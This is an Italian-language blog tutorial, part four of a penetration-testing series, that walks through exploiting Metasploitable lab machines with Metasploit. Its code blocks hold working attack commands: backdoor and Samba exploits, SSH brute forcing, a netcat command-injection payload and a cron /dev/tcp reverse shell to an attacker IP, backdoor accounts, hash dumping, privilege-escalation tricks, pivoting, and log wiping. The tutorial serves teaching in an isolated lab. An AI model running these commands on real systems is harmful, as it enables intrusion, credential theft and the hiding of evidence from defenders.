Menu
Home Articoli {{t.nav.bookmarks}} {{t.nav.experience}} {{t.nav.profiles}} Chi sono Lavora con me
Cybersecurity concept visualization
Sicurezza Mar 8, 2026 • 28 min di lettura

Exploitation: From Vulnerability to Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

Condividi:
Lee Foropoulos

Lee Foropoulos

28 min di lettura

Continue where you left off?
Text size:

Contents

Il Percorso dell'Hacker: Serie in 5 Parti

Parte 1: IntroduzioneParte 2: Padronanza del FlipperParte 3: Fondamenti di KaliParte 4: ExploitationParte 5: L'Audit Completo

Nelle Parti 1-3, avete costruito il vostro toolkit. Potete clonare badge, mappare reti, catturare handshake e identificare ogni servizio in esecuzione su un bersaglio. Vedete vulnerabilità ovunque ormai. Ma vedere una vulnerabilità e sfruttarla sono competenze molto diverse.

Qui le cose diventano serie. Oggi imparerete a usare il Metasploit Framework, lo stesso strumento utilizzato dai penetration tester professionisti in tutto il mondo. Sfrutterete la vostra prima vulnerabilità, stabilirete persistence, escalerete i privilegi e imparerete a fare pivot attraverso una rete.

La Linea che Non Devi Oltrepassare

Tutto in questo articolo deve essere praticato su sistemi che possedete o per cui avete esplicita autorizzazione scritta a testare. L'accesso non autorizzato a sistemi informatici è un reato federale con pene fino a 20 anni di reclusione. "Stavo solo imparando" non è una difesa. Costruite un laboratorio, usate VM intenzionalmente vulnerabili e non toccate mai sistemi che non vi appartengono.

Parte 1: Costruire il Laboratorio d'Attacco

Prima di sfruttare qualsiasi cosa, avete bisogno di bersagli. I veri penetration tester usano ambienti di laboratorio isolati con macchine intenzionalmente vulnerabili. Farete lo stesso.

La Configurazione Essenziale del Laboratorio

Di Cosa Avrete Bisogno

  • Kali Linux VM - La vostra macchina d'attacco (dalla Parte 3)
  • Metasploitable 2 - VM Linux intenzionalmente vulnerabile (SourceForge)
  • Metasploitable 3 - VM vulnerabile Windows/Linux (GitHub)
  • DVWA - Damn Vulnerable Web Application (GitHub)
  • VulnHub VMs - Macchine vulnerabili in stile CTF (vulnhub.com)

Progetto: Configurazione della Rete del Laboratorio

Tempo: 45 minuti

  1. Scaricate Metasploitable 2 da SourceForge
  2. Importatelo in VirtualBox/VMware
  3. Configurate la rete: Impostate sia Kali che Metasploitable su "Host-Only" o "Internal Network"
  4. Avviate Metasploitable (login predefinito: msfadmin / msfadmin)
  5. Annotate l'indirizzo IP: ifconfig
  6. Da Kali, verificate la connettività: ping METASPLOITABLE_IP
  7. Eseguite la scansione iniziale: sudo nmap -sV -sC METASPLOITABLE_IP

Verifica: Dovreste vedere decine di porte aperte. Metasploitable è progettato per essere compromesso.

La vostra scansione nmap di Metasploitable dovrebbe rivelare servizi come FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e altri, molti dei quali eseguono versioni obsolete e vulnerabili. Questo è il vostro campo di gioco.

Parte 2: Fondamenti del Metasploit Framework

Metasploit non è solo uno strumento. È un ecosistema. Contiene migliaia di exploit, payload, moduli ausiliari e strumenti di post-exploitation. Comprenderne la struttura è essenziale.

4,000+
Moduli exploit disponibili nel Metasploit Framework, che coprono ogni piattaforma principale e classe di vulnerabilità.

Avvio di Metasploit

bash
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >

La Struttura di Metasploit

Metasploit organizza tutto in moduli:

  • Exploits - Codice che sfrutta le vulnerabilità
  • Payloads - Codice che viene eseguito dopo l'exploitation (shell, meterpreter)
  • Auxiliary - Scanner, fuzzer e altre utility
  • Post - Moduli di post-exploitation per persistence, pivoting
  • Encoders - Offuscamento dei payload per evadere il rilevamento
bash
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

Il Flusso di Lavoro dell'Exploitation

Ogni exploitation in Metasploit segue lo stesso schema:

  1. Selezionate un exploit - use exploit/path/to/module
  2. Impostate le opzioni - IP del bersaglio, porte, credenziali
  3. Selezionate un payload - Cosa viene eseguito dopo l'exploitation
  4. Eseguite - exploit o run
Cybersecurity operations with code on multiple screens
Il Metasploit Framework fornisce un approccio strutturato all'exploitation, trasformando la ricerca sulle vulnerabilità in flussi di lavoro professionali e ripetibili.

Parte 3: Il Vostro Primo Exploit

Sfruttiamo una delle backdoor più famose della storia: la backdoor vsftpd 2.3.4. Nel 2011, qualcuno ha inserito una backdoor nel codice sorgente di vsftpd. Se inviate un nome utente che termina con :), si apre una shell sulla porta 6200.

Metasploitable 2 esegue esattamente questa versione.

bash
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)

Ecco fatto. Un servizio vulnerabile, un exploit, accesso root. Ecco perché è importante mantenere il software aggiornato.

Un servizio vulnerabile, un exploit, accesso root. Ecco perché è importante mantenere il software aggiornato.

Progetto: Sfruttare la Backdoor vsftpd

Tempo: 15 minuti

Prerequisiti: Metasploitable 2 in esecuzione, Kali sulla stessa rete

  1. Verificate che FTP sia in esecuzione: nmap -sV -p 21 TARGET_IP
  2. Avviate msfconsole
  3. Cercate, selezionate e configurate l'exploit vsftpd
  4. Eseguite l'exploit
  5. Una volta ottenuta la shell, esplorate: cat /etc/shadow

Criteri di successo: Potete leggere /etc/shadow, accessibile solo da root.

Parte 4: Comprendere i Payloads

Un payload è ciò che viene eseguito dopo il successo dell'exploit. La shell base che abbiamo ottenuto sopra è semplice, ma Metasploit offre opzioni molto più potenti.

Tipi di Payload

  • Singles - Payload autonomi, a colpo singolo (aggiunta utente, esecuzione comando)
  • Stagers - Piccoli payload che stabiliscono una connessione, poi scaricano il payload principale
  • Stages - Il payload principale scaricato dallo stager (Meterpreter)
bash
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcp

Reverse vs Bind Shell

  • Reverse shell - Il bersaglio si riconnette a voi. Migliore per aggirare i firewall (il traffico in uscita è generalmente permesso).
  • Bind shell - Il bersaglio apre una porta a cui vi connettete. Più facile da rilevare, spesso bloccato dai firewall.
bash
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploit

Meterpreter: Il Payload Definitivo

Meterpreter è il payload più potente di Metasploit. Viene eseguito interamente in memoria (nessun file su disco), fornisce comunicazione crittografata e include decine di comandi integrati per il post-exploitation.

bash
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo          # System information
3meterpreter > getuid           # Current user
4meterpreter > pwd              # Current directory
5meterpreter > ls               # List files
6meterpreter > download file    # Download file to Kali
7meterpreter > upload file      # Upload file to target
8meterpreter > shell            # Drop to system shell
9meterpreter > hashdump         # Dump password hashes
10meterpreter > screenshot       # Take screenshot
11meterpreter > keyscan_start    # Start keylogger
12meterpreter > keyscan_dump     # Dump keystrokes
13meterpreter > background       # Background this session

Parte 5: Altre Tecniche di Exploitation

Sfruttare Samba (SMB)

Metasploitable 2 esegue una versione vulnerabile di Samba. Questo è simile al famigerato exploit EternalBlue usato in WannaCry.

bash
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 opened

Sfruttare Credenziali Deboli

Non ogni compromissione richiede una vulnerabilità software. Le password deboli sono ovunque.

bash
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Exploitation di Applicazioni Web

Metasploitable include diverse applicazioni web vulnerabili. Sfruttiamo una PHP code injection.

bash
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444

Progetto: Sfruttare Tre Servizi Diversi

Tempo: 60 minuti

Bersaglio: Metasploitable 2

  1. Sfruttate la backdoor vsftpd (FTP - porta 21) e ottenete una root shell
  2. Sfruttate Samba usermap_script (SMB - porta 139/445) e ottenete una root shell
  3. Crackate le credenziali SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
  4. Documentate ogni exploitation: modulo usato, opzioni impostate, risultato

Bonus: Esplorate le applicazioni web sulla porta 80 e trovate vettori di exploitation manuali.

Parte 6: Post-Exploitation

Ottenere una shell è solo l'inizio. I veri penetration test richiedono di dimostrare cosa potrebbe fare un attaccante con quell'accesso. Questo è il post-exploitation.

Raccolta Informazioni

text
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer    : metasploitable
4OS          : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp
bash
1# From a regular shell
2cat /etc/passwd       # All users
3cat /etc/shadow       # Password hashes (requires root)
4cat /etc/hosts        # Network mappings
5netstat -tulpn        # Open ports
6ps aux                # Running processes
7crontab -l            # Scheduled tasks

Raccolta Credenziali

text
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash
1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Stabilire la Persistence

Persistence significa mantenere l'accesso anche dopo riavvii o quando il vettore d'attacco iniziale è stato corretto.

bash
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistence = Prove

Ogni meccanismo di persistence lascia tracce. In un vero penetration test, documentate cosa potreste fare, poi ripulite. Lasciare backdoor sui sistemi dei clienti è poco professionale e potenzialmente illegale. Nel vostro laboratorio, sbizzarritevi, ma comprendete le implicazioni.

Parte 7: Escalation dei Privilegi

Spesso si ottiene l'accesso iniziale come utente con bassi privilegi. L'escalation a root/admin è generalmente necessaria per raggiungere gli obiettivi del test.

Escalation dei Privilegi su Linux

bash
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*

Script di Enumerazione Automatizzati

bash
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitable

Vettori Comuni di Privesc su Linux

bash
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shell

Escalation dei Privilegi su Windows

Se state testando bersagli Windows (Metasploitable 3), le tecniche sono diverse:

text
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploit

Progetto: Escalation da Utente a Root

Tempo: 45 minuti

Scenario: Avete accesso SSH a Metasploitable come msfadmin (non root)

  1. SSH a Metasploitable: ssh msfadmin@TARGET
  2. Eseguite id per confermare che non siete root
  3. Controllate i permessi sudo: sudo -l
  4. Cercate binari SUID: find / -perm -4000 2>/dev/null
  5. Caricate ed eseguite LinPEAS
  6. Identificate un vettore di privesc e sfruttatelo

Obiettivo: Ottenere una root shell usando qualcosa di diverso dallo sfruttamento di un servizio di rete.

Hacker working on code in a dark environment
L'escalation dei privilegi trasforma un accesso limitato nel controllo completo del sistema, spesso attraverso configurazioni errate trascurate piuttosto che exploit sofisticati.

Parte 8: Pivoting

Il pivoting è l'uso di un sistema compromesso per attaccare altri sistemi che non sono direttamente raggiungibili dalla vostra macchina d'attacco. È così che gli attaccanti si muovono lateralmente attraverso le reti.

Lo Scenario di Pivot

Immaginate questa rete:

  • Il vostro Kali: 192.168.1.100
  • Host compromesso: 192.168.1.50 (connesso anche alla rete interna 10.0.0.0/24)
  • Bersaglio: 10.0.0.10 (raggiungibile solo da 192.168.1.50)

Non potete raggiungere 10.0.0.10 direttamente. Ma attraverso l'host compromesso, potete.

Routing Metasploit

text
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploit

SOCKS Proxy per Accesso Completo

bash
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]

SSH Tunneling (Senza Metasploit)

bash
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444

Parte 9: Coprire le Tracce

I penetration tester professionisti documentano il loro accesso ma ripuliscono dopo. Capire come gli attaccanti coprono le tracce aiuta anche a rilevare le intrusioni.

bash
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev          # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"

Negli Incarichi Reali: Non Fatelo

I pentester professionisti documentano il loro accesso e riportano le loro scoperte. Non le nascondono. Cancellare i log distrugge prove di cui i difensori hanno bisogno per comprendere il percorso d'attacco. Praticate queste tecniche solo nel vostro ambiente di laboratorio isolato.

Il Percorso dell'Hacker

Una serie in 5 parti che vi porta da curiosi a capaci.

Parte 1: Introduzione Parte 2: Padronanza del Flipper Parte 3: Fondamenti di Kali Parte 4: Exploitation ✓ Parte 5: Audit Completo

Checklist della Parte 4

☐ Setup Laboratorio: Metasploitable 2 in esecuzione, rete isolata configurata

☐ Metasploit: Database inizializzato, navigazione base padroneggiata

☐ Primo Exploit: Backdoor vsftpd sfruttata, root shell ottenuta

☐ Vettori Multipli: FTP, SMB sfruttati e credenziali SSH crackate

☐ Post-Exploitation: Hash delle password estratti, sistema enumerato

☐ Escalation Privilegi: Escalation da utente a root senza exploit di rete

☐ Pivoting: Comprensione dei concetti autoroute e SOCKS proxy

☐ Documentazione: Tutti gli exploit documentati con passaggi e prove

Piano d'Azione per le Competenze di Exploitation 0/5

Cosa Viene Dopo

Avete imparato a sfruttare vulnerabilità, escalare privilegi e fare pivot attraverso le reti. Avete visto quanto velocemente una singola debolezza diventa una compromissione totale. Capite cosa fanno i penetration tester professionisti.

Nella Parte 5, mettiamo tutto insieme. Condurrete un audit di sicurezza completo dall'inizio alla fine:

  • Ambito e regole di ingaggio
  • Metodologia completa di ricognizione
  • Exploitation sistematico
  • Post-exploitation completo
  • Reportistica professionale
  • Raccomandazioni per la remediation

La Parte 5 è il coronamento. Tutto ciò che avete imparato in questa serie si unisce in una metodologia del mondo reale che potete usare per valutare la sicurezza di qualsiasi rete siate autorizzati a testare.

Avete imparato le tecniche. Ora imparate la metodologia. La Parte 5 trasforma le competenze in un flusso di lavoro completo di penetration testing.

Ci vediamo nella Parte 5.

How was this article?

Condividi

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Non perdere nessun articolo

Ricevi una notifica quando vengono pubblicati nuovi articoli. Nessuna email richiesta.

Vedrai un banner sul sito quando viene pubblicato un nuovo articolo, oltre a una notifica del browser se lo consenti.

Solo notifiche del browser. Niente spam, niente email.

0 / 0